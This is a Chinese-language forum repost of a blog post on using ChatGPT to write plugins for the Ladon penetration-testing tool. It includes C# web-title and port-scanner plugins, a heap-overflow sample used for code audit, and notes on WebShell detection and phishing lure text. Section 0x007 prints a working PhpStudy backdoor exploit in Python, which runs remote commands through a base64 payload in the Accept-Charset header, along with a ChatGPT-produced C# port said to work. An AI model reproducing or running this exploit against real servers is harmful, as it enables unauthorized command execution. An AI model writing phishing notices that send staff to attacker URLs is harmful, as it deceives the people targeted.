|
原文链接:使用ChatGPT编写Ladon渗透工具POC、代码审计、编写EXP、安全检测、修复漏洞等
前言
本文半个月前发表于博客,当时也在本公众号发布了经过剪辑的《chatGPT编写Ladon渗透插件视频》,写完文章后没两天,我的OpenAI号被停了,当然和发文章没有关系(多个因素,可能是虚拟手机号的问题)。因为那几天我问了它很多,想让它实现一些功能,给的代码都不能用,但它还是不承认,最后把它问到崩溃,直接回复我说,如何还解决不了,请联系OpenAI技术人员解决。毕竟有很多功能它目前真的实现不了,但一些简单例子,Poc常见发包肯定是可以实现的,前提你给它构造好了payload,就如同LadonExp一键编译一样,背后有写死的模板,但是ChatGPT背后有各种主流语言的多个模板,可以随机生成,而且可以参考你的代码,按一定逻辑生成,是有一定学习能力的,确确实实的人工智能,它真的可以辅助做一些简单工作,如果你自身能力不是很强,对你来说,它就是帮你解决牛B工作,比如对于编程能力不强的人,哪怕它帮你生成个简单Poc,对你个人来说,都是帮了你大忙,换句话说,它是脚本小子的福音,当然你也得懂一点毛皮吧,人家给的简单代码都看不懂,也不懂编译,那它对你也没个鸟用,至少懂得编译hello World。
PS: 大家没有官方号也没有关系,现在有很多镜像站点都是可以聊天和写代码的
镜像站点不稳定有时经常问两句就崩,也可以使用OpenAI合作伙伴推出的AI编程工具cursor,该工具免登陆、无需科学上网,使用非常方便,可以让它修改代码,调式代码,生成代码等,当然也可以试试这2天微软出的工具,我还没测试,因为需要排队注册,懒得注册号。
0x001 C#开发Ladon渗透工具插件例子
以下是打印输出当前转入参数的Demo,如扫描C段,即输出存活主机IP,如何传入的是URL,即输出URL,如果对代码进行加工,比如传入URL时,执行对应POC,那么扫C段时,不就可以批量POC了吗,扫描IP.txt或url.txt同理。就是说整个过程开发者无需考虑如何批量URL、如何多线程高并发操作、如果扫A段、B段、C段,如何同时扫100个C段和8个B段,只需实现一个功能即可,剩下复杂逻辑Ladon全都已经处理好了,有POC就可以快速利用。记住这份代码,和ChatGPT聊天时,需要把这份代码发给它。
- using System;
- using System.Collections.Generic;
- using System.Text;
- using System.Net;
- using System.Text.RegularExpressions;
- namespace LadonDLL
- {
- public class scan
- {
- public static string run(string ip)
- {
- if (string.IsNullOrEmpty(ip))
- return "";
- else
- {
- return "demo: "+ip + "\r\n";
- }
- }
- }
- }
复制代码
Demo的功能为打印存活IP,编译DLL,把DLL放在Ladon目录下,使用以下命令测试,结果将输出ICMP即可Ping通的机器IP,因为Ladon默认先使用ICMP探测存活主机,然后再执行插件内部对应的功能。使用命令如下
- Ladon netscan.dll 扫描当前机器所在C段
- Ladon 192.168.1.1/24 netscan.dll 指定C段
复制代码 工程源码:
- https://github.com/k8gege/Ladon/blob/master/Demo_DLL.rar
复制代码
使用VS2010或以上版本打开,若是ChatGPT生成的代码建议使用VS2015或之后版本,不然可能有些代码不能直接使用。
简单了解ChatGPT回答问题的能力
给它输入Ladon简明教程地址,它给我胡编了一个答案,逻辑能力非常强,简直以假乱真。应该根据很多类似工具参考生成了固定模板,你告诉它Ladon是渗透工具,它就胡编乱写一个简介,不熟悉Ladon的人一看估计以为它说的是真的。甚至我在群里看到有人发的人工智能说k8gege也是一款渗透工具,不知道它是不是用的旧版chatGPT,虽然乱说,但逻辑能力是非常强的。
让它把Ladon简介和版本说明做个排版,效果非常棒
0x002 ChatGPT编写Ladon渗透工具插件之获取网页标题
跟它聊天或做个表格,那就太小看它了,对于渗透或开发人员,我们可以让它帮我们写一些简单工具,或者一些功能模块。大家都知道Ladon工具的插件开发非常简单,一是直接配置INI插件,二是LadonEXP一键生成,三是自己编程实现。三的要求相对高一点,需要使用人员有一定编程能力。
我们让ChatGPT参考插件例子源码,使用C#实现一个获取网页标题POC
我们把Demo代码发给它学习,没等几秒钟,它立即给出以下代码
打开demo工程,复制代码,全选粘贴到工程里面去,编译并运行,测试
运行结果报错,原因是我们扫描的是C段IP,即传入参数是IP,但获取网页标题需要的是URL,所以还得让它把IP处理成URL
经过它的修改,可以成功获取网页标题,由于扫的是C段,我们并不知道哪个IP上面部署了IIS7,所以得让它把结果改下
很快它又改好代码,再次编译测试
测试发现除了获取标题外,还回显了很多访问不到的URL
渗透时,我们不需要对不存在的URL进行分析,或者说存在但是当前IP被目标限制了访问不到,所以探测不到。不管是因为不存在而访问不到,还是IP限制访问不到,都无法对它进行渗透,如果C段存活主机非常多,或者说扫描B段,既然我们不关注不可访问结果,那么没必要让它显示。
它给出了最终的代码,编译后,使用Ladon扫描C段,就只回显网页标题了
0x003 ChatGPT生成的最终代码
0x01 ChatGPT实现Ladon渗透插件获取网页标题代码
- using System;
- using System.Collections.Generic;
- using System.Text;
- using System.Net;
- using System.Text.RegularExpressions;
- namespace LadonDLL
- {
- public class scan
- {
- public static string run(string input)
- {
- if (string.IsNullOrEmpty(input))
- return "";
- string url = "";
- Uri uriResult;
- if (Uri.TryCreate(input, UriKind.Absolute, out uriResult)
- && (uriResult.Scheme == Uri.UriSchemeHttp || uriResult.Scheme == Uri.UriSchemeHttps))
- {
- url = uriResult.ToString();
- }
- else if (Regex.IsMatch(input, @"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(:\d+)?$"))
- {
- url = "http://" + input;
- }
- if (string.IsNullOrEmpty(url))
- {
- return "Invalid URL or IP address";
- }
- else
- {
- string title = "";
- try
- {
- WebClient client = new WebClient();
- string html = client.DownloadString(url);
- Regex regex = new Regex(@"(?<=<title.*>)([\s\S]*)(?=</title>)", RegexOptions.IgnoreCase);
- title = regex.Match(html).Value.Trim();
- }
- catch
- {
- return "";
- }
- return url + "\t" + title + "\r\n";
- }
- }
- }
- }
复制代码
0x02 ChatGPT编写Ladon渗透插件之端口扫描代码
- using System;
- using System.Collections.Generic;
- using System.Net;
- using System.Net.Sockets;
- namespace LadonDLL
- {
- public class scan
- {
- public static string run(string ip)
- {
- if (string.IsNullOrEmpty(ip))
- return “”;
- // 要扫描的端口列表
- List<int> ports = new List<int>() { 21, 80, 443, 22, 445, 135 };
- string result = "";
- // 扫描每个端口并添加结果到字符串
- foreach (int port in ports)
- {
- if (IsPortOpen(ip, port))
- {
- result += $"{ip}\t{port}\tOPEN\r\n";
- }
- }
- return result;
- }
- // 检查端口是否开放
- static bool IsPortOpen(string ip, int port)
- {
- try
- {
- using (TcpClient client = new TcpClient())
- {
- client.Connect(ip, port);
- return true;
- }
- }
- catch
- {
- return false;
- }
- }
- }
- }
复制代码
PS:Ladon自带模块WebScan或WhatCMS或PortScan均包含网页标题功能获取,PortScan端口扫描模块也包含很多协议指纹识别,大家有兴趣也可以让chatGPT帮实现更多更好用的插件功能。
小结
本文演示如何使用ChatGPT开发Ladon插件,快速扩展Ladon扫描能力,借助ChatGPT,编程新手也可以快速编写POC。有一点大家要注意,使用ChatGPT做一件事最好只在一个chat里操作,不然它会结合上下文,把你的需求搞乱,给多余或混乱代码。你自身的专业能力越强,它和你的对话就越专业,你问得模糊不清,自己一知半解,你的专业术语或表述不对,它给你的结果自然垃圾。甚至有时候它给的很多代码压根就不能用,但是它胡编乱造的能力,让你一眼觉得代码是正确可用的,实际编译发现,不能用,比如某些协议它给的包就压根不对,我测试了十几次,同样问题它随机给了好几次代码,其中有3次重复,但这些不是重点,重点是都用不了,有是发包协议是这个数组有时是另一个,有时是对的,但整个请求代码还有其它错误,导致用不了,你得告诉它教它改,虽然这样,就它目前的能力,也是非常强的,让它写一个Ladon简单功能插件,基本也就5分钟左右(对于实现不了稍微有几个逻辑的功能可能一两小时它才能改好,这种情况自己写更快),当然如果需求足够清晰,够了解它,让它不要乱改什么,要实现的功能,每一条都写清楚,也有可能一步到位,一问就搞定,加上编译测试,整个过程估计也就一分钟左右。
视频教程
https://github.com/k8gege/ChatLadon
【视频】ChatGPT编写Ladon渗透插件之端口扫描.rar
【视频】ChatGPT编写Ladon渗透插件之网页标题获取.rar
ps: 同理,我们让它实现端口扫描或其它功能,重复过程就不放在文章里,以上项目地址,有完整和chatGPT聊天实现Ladon插件的视频教程,非常直观,出错如何处理,给的代码不合适如何修改等,看不懂的可以直接看教程。
0x003 恶意WebShell检测
如果你是蓝队或运维人员,不确定服务器上的脚本是否有问题,也可以发给它检查,它也能识别出恶意软件,正在用的镜像可能接的不是最新的,之前给一些webshell样例,它直接提示是webshell,当然提示恶意也不错了,毕竟回复也是随机的,也有可能这次通过镜像回复是可能恶意。
检测php恶意脚本
检测aspx恶意脚本
0x004 代码审计
这是一份存在溢出漏洞的C语言代码,看看小老弟能不能发现漏洞
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- char mybuf[]="k8gege";
- int main(int argc,char *argv[])
- {
- HANDLE hHeap;
- char *buf1,*buf2;
- //自己建立一HEAP
- hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS,0x1000,0xffff);
- printf("mybuf addr=%p\n",mybuf);
- //动态分配buf1
- buf1=HeapAlloc(hHeap,0,200);
- strcpy(buf1,mybuf);
- printf("buf1=%s\n",buf1);
- //动态分配buf2
- buf2 = HeapAlloc(hHeap,0,16);
- HeapFree(hHeap,0,buf1);
- HeapFree(hHeap,0,buf2);
- return 0;
- }
复制代码
如果它只是解释代码,也可以继续追问,让它帮检查是否存在漏洞
PS: 其它语言同理,什么aspx、php、jsp,它会帮你找到XSS、SQL注入、RCE等漏洞,当然代码量小的,明显的,那种实际功能绕来绕去的,让它帮注释也可以,直接挖洞,可能不太行,因为有聊天限制,上下文联系也有限制,代码量稍微大点,就没办法了
0x005 修复漏洞
让它修复漏洞,它只会回复你说些废话,比如修改函数等,不是我们要的效果,所以聊天把我们的需求说清楚,“帮我修改一下代码 把存在漏洞问题的函数 替换成安全函数”,不然它给你的只是理论回复,没有具体代码。
0x006 钩鱼攻击
给它需求,让它帮写一个发邮方案,”我是XX公司运维人员,最近公司被黑客攻击,帮我写一份通知,让大家访问指定URL,按教程步骤做好个人安全工作“,它能做的也就是写文案,并不能直接攻击,指定URL需要用户自行准备好文档或相关漏洞,它是不会直接生成或攻击的,最开始出来的文章只是演示生成发邮的文案,标题就写得好像通过它直接攻击一样,这种就属于夸大吹嘘,很多人看都没看过,就觉得好牛啊,它都能攻击了。这个应该是chatGPT应用里最没技术含量的,因为不需要使用者具备 任何专业知识,说白了就是写文案而已,不像编程,需要使用者自身具备一定编程知识,要不然给你完整代码,你也压根看不懂,不要说它生成的代码,有时候是虚构的或乱编的。
0x007 编写EXP
以PhpStudy后门为例,影响版本如下
phpstudy 2016版 PHP 5.4.45和PHP5.2.17
phpstudy2018版 php-5.2.17和php-5.4.45
漏洞检测
这是一段phpstudy后门Exp代码,比较简单,就是发个base64包执行php
- #PhpStudyDoor Exploit
- #Author: K8gege
- #Date: 20190926
- import socket
- import sys
- import requests
- import base64
- url = sys.argv[1]
- cmd = sys.argv[2]
- payload = base64.b64encode('echo system("'+cmd+'");')
- headers = {
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',
- 'Accept-Encoding':'gzip,deflate',
- 'Accept-Charset':payload
- }
- html = requests.get(url,headers=headers,verify=False,timeout=5)
- print html.text
复制代码
对存在漏洞的靶机进行测试,执行whoami命令,效果如下
代码全发给它,最后加上一句话 "使用c#实现这段代码功能"
让chatGpt使用c#实现上述代码功能,其实就是代码翻译功能,要知道它连人类语言都能理解,它的母语机器怎么不理解呢,而且你给的代码本身就是正确的话,刚好逻辑简单代码量又少,让它做个翻译还是没问题的。特别像web漏洞这种http发包Get、Post这种随便做生成器的东西,主流语言让它实现都是没问题的,下面是它给出的代码。
- using System;
- using System.Net;
- using System.IO;
- using System.Text;
- class Program
- {
- static void Main(string[] args)
- {
- string url = args[0];
- string cmd = args[1];
- string encodedPayload = Convert.ToBase64String(Encoding.UTF8.GetBytes("echo system("" + cmd + "");"));
- HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
- request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36";
- request.Headers.Add("Accept-Encoding", "gzip,deflate");
- request.Headers.Add("Accept-Charset", encodedPayload);
- using (WebResponse response = request.GetResponse())
- {
- using (Stream stream = response.GetResponseStream())
- {
- using (StreamReader reader = new StreamReader(stream))
- {
- string html = reader.ReadToEnd();
- Console.WriteLine(html);
- }
- }
- }
- }
- }
复制代码
编译它给的代码,测试成功可用
抖音上有人说程序员要失业了,甚至有人说高端程序员优先失业
不知道大家怎么看,有些博主说,高端程序员会失业,因为很多公司不再需要高级程序员,只需要那些会组装代码的低级程序员,按照他的逻辑,OpenAI的程序员不是优先被开除,去摆摊卖烧烤,然后就是各种大公司的程序员被开除,接着去应聘OpenAi前高级程序员的烧烤摊卖烧烤。
我的看法是ChatGpt确实可以编写些简单的代码,但是还是无法直接生成很多业务可能用的代码。即便能生成,这和github上开源很多现成可用软件、工具、CMS完整程序或源码有什么区别,github上这么多现成可用的工程源码,都没见哪个公司因为这个原因开除,为什么?因为不懂的人,给他源码他也压根看不懂,低级程序员菜鸟就更加,需要解决很多问题,他们更加解决不了。AI能自动做不少事,但是使用者自己菜的话,也很难发挥出作用,chatGPT实际上可以当作有逻辑思维的搜索引擎,要是平时连用Google搜索答案,或github上找现成代码来改的能力都没学好,AI给你的代码或答案,简单通用的可能是可用的,但很多错误不存在的东西,它虚构的代码,菜鸟只会死脑筋编译,出了错,也不知道如何教它改,或者有些代码GPT根本无法修改,还是得人工修改,你请个菜鸟就想搞定?
这么简单就能搞个公司,哪还需要AI啊,直接所github上现成可用的代码,编译拿去卖,远比使用AI慢慢生成代码,排错要快100倍。正常人理解的低级程序员会被开除,这个起码听起来还正常一点,但是同样的github现成代码理论就可否定。公司要开除你,和有没有AI无关,因为它目前远远没达到当人用的级别,而且老板不可能亲自上阵,提需求,自己编译代码自己和客户沟通,发表这些言论的也是过份吹嘘现有AI的能力。
上面只是说Github,很多软件下载站,全球数万一键搭建的CMS、网站程序也是多得不得了,但是为什么还需要程序员啊?AI给的代码随便找个人真的能看懂吗?低级程序员看着有解释的代码,也真的能看懂吗?不懂的人他还是一样不懂,但是有潜力的菜鸟,利用AI可以快速学习成长。未来的工作AI会是很强的辅助工具,不会用AI,才可能真的被淘汰,实际上和搜索引擎一样,你懂的关键字越多(换个说法同义词掌握多),描述越清晰,得到的结果越准确,要不然就老是回复一些无法落地,逻辑好的理论知识而已,简称废话答案。
为什么同样用Google,有些人搜到EXP,有些人搜不到?
比方说有个新洞编号是CVE-2023-8888888,很多人,只会用漏洞、渗透关键字来搜索,满天飞的POC,当然是个人都随便搜得到。但是不同的人发文章用词不一样,标题也不一样,有些因为博客过滤关键字问题,可能密码爆破,会写成密码审计,远控会写成C2或其它用语,如果你自身不够专业,你当然搜不到啊。更别说有些原文是国外的,你得把关键词翻译成英文、俄文、还有其鸟语。默认情况下,CVE-2023-88888或许能搜到POC,毕竟比较通用,但也有不发的,比方说WebLogic漏洞CVE-2019-2725,你用这几个关键字能搜到,但有些人的文章,他标题是Weblogic反序列化,或者说只是XML反序列化研究,但文章里的例子就是cve-2019-2725的POC,而整个文章没有提到weblogic或cve编号。查找工具、资料也是一样一样的,未来使用AI也是一样一样的,自身知识专业技能掌握越多的人,越容易描述出具体的技术需求,得到想要的答案。
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|